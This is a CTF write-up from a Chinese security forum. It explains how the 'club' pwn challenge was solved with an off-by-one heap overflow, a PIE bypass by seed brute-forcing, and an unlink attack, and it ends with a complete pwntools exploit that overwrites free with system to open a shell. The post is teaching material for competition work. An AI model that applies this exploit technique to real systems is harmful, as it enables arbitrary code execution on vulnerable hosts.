首页
社区
课程
招聘
[原创]看雪CTF2017秋季赛第四题club_pwn
2017-10-30 17:59 3343

[原创]看雪CTF2017秋季赛第四题club_pwn

2017-10-30 17:59
3343
这次的第四题是一个比较比较经典的堆漏洞的利用。可能是因为出题人疏忽的原因,我找到了两个漏洞。不过两个都是堆上的漏洞。利用起来差别也不大。这里我用的经典的off-by-one的利用方法。

逆向分析与漏洞发现

做pwn题的第一步逆向分析还是不能少的。因为代码不多,所以逆向分析的过程分不在赘述。重点要关注的一下几段代码。

1.off-by-one


在leave message这个函数中。注意框起来的这个比较。多读取了一个字节。因为可以分配任意大小的内存。内存中内容可控。所以可以利用。

2.UAF


在destory释放内存的函数中。没有清空标示正在释放的flag。也没有清空堆指针。这就导致了一个uaf。也可以通过构造堆来利用。(猜测这个是作者的本来思路)

3.PIE bypass

程序利用还有一个比较头疼的地方是pie。做题碰见pie先亮半截。还好次有内置的leak,可以帮助获取elf的加载基地址

在程序开始的时候用seed的地址初始化seed。然后用其低32位作为srand的初始化值。然后做guess。不过因为每次rand的值都会返回。所以是可以爆破seed的。pie的低12位(13位?不确定)是固定的。所以只要跑破20位的seed值就可以了。实际测试下来大概几秒钟吧(i7 7700 linux虚拟机单线程跑)

unlink漏洞利用

有关off-by-one漏洞的利用方式其实已经有很多的文章做介绍。这里我就根据这题的情况做一个稍微的介绍。
首先是创建3块内存,大小分别为0x30,0x108,0x120。第一个内存是凑数用的,原因是忘记掉off-by-one是free哪个内存了,做完才发现不需要。
第二个内存是0x108,因为off-by-one在normal bin上比较好做(fastbin由于不立刻free和unlink,还需要 malloc_consolidate 所以不优先考虑)所以大小应该大于0x80(64位)。然后是大小必须是8的倍数且不是16的倍数。(像大小在0x101-0x108之间的内存,ptmalloc分配的时候会将下一个内存的prev size也复用起来给当前内存。而等于0x108的时候正好完全复用,这时候溢出一个字节就能覆盖下一个内存的size,主要是覆盖到最低位的inuse位。这是off-by-one利用的重点)所以就随意选了一个0x108。第三个内存因为程序逻辑大于前一个+16。所以随意写了个0x120(不是fastbin即可,理由同上)

这是现在的内存状态。
然后我们修改第二块内存。修改成为了
p64(0)+p64(0x101)+p64(base+0x0000000000202110-24)+p64(base+0x0000000000202110-16)+'a'*0xe0+p64(0x100)+'\x30'
这里我们为了绕过unlink检查,构造了一个伪造的chunk。这个栈溢出的利用是一个套路。
现在内存变成了这样。

注意是如何伪造出一个假冒的chunk的(4的变量,当前chunk的prevsize为0,size为0x100+inuse位1,下一个chunk的prevsize为0x100,size的inuse位要清空)。
然后调用free把第二个chunk给释放掉。就可以造成unlink漏洞了。然后再使用leave message就可以构造一个任意读写的指针了。

getshell

最后是getshell。这个比较简单,因为给了libc,而且没有full-relro。所以只要直接leak got来获取libc位置。再将free改完system来free一块保存/bin/sh的chunk就可以获得shell

这是最后的poc
from pwn import *
import ctypes

context.log_level = 'debug'
so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./libc.so.6')

t = process('./club')
# t = remote('123.206.22.95', 8888)

def guess(num = 12345):
    t.recvuntil('> ')
    t.sendline('5')
    t.recvuntil('> ')
    t.sendline(str(num))
    t.recvuntil('Wr0ng answer!The number is ')
    num = t.recvuntil('!')
    return int(num[:-1])

def get_base(num):
    t.recvuntil('> ')
    t.sendline('5')
    t.recvuntil('> ')
    t.sendline(str(num))
    t.recvuntil('G00dj0b!You get a secret: ')
    num = t.recvuntil('!')
    return int(num[:-1])

def guess_seed(num):
    for i in xrange(0x100000,0,-1):
        i = i<<12
        i += 0x148
        so.srand(i)
        j = 0
        while j < 30:
            j += 1
            a = so.rand()
            if a == num[j-1]:
                continue
            break
        if j == 30:
            return so.rand()
    print 'aaa'
    print i
    return 0
def add(choose, size):
    t.recvuntil('> ')
    t.sendline("1")
    t.recvuntil('> ')
    t.sendline(str(choose))
    t.recvuntil('> ')
    t.sendline(str(size))

def edit(choose, payload):
    t.recvuntil('> ')
    t.sendline("3")
    t.recvuntil('> ')
    t.sendline(str(choose))
    t.send(payload)

def free(choose):
    t.recvuntil('> ')
    t.sendline("2")
    t.recvuntil('> ')
    t.sendline(str(choose))
    
        
num_table = []
for i in range(30):
    num_table.append(guess())

print num_table

r = guess_seed(num_table)

num = get_base(r)
base = num - 0x0000000000202148
print hex(base)

add(1, 0x30)
add(2, 0x108)
add(3, 0x120)
#0000000000202110
edit(2, p64(0)+p64(0x101)+p64(base+0x0000000000202110-24)+p64(base+0x0000000000202110-16)+'a'*0xe0+p64(0x100)+'\x30')
raw_input()
free(3)

edit(2, 'a'*16+p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018)+'\n')

print 'aaaaaaaaa'


t.recvuntil('> ')
t.sendline("4")
t.recvuntil('> ')
t.sendline("1")

a = t.recvline()[:-1]
a = a.ljust(8,'\x00')
free_a = u64(a)
print hex(free_a)
libc = free_a - elf.symbols['free']
system = libc + elf.symbols['system']
edit(1, p64(system)+'\n')
edit(3, '/bin/sh\x00\n')

free(3)
t.interactive()



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回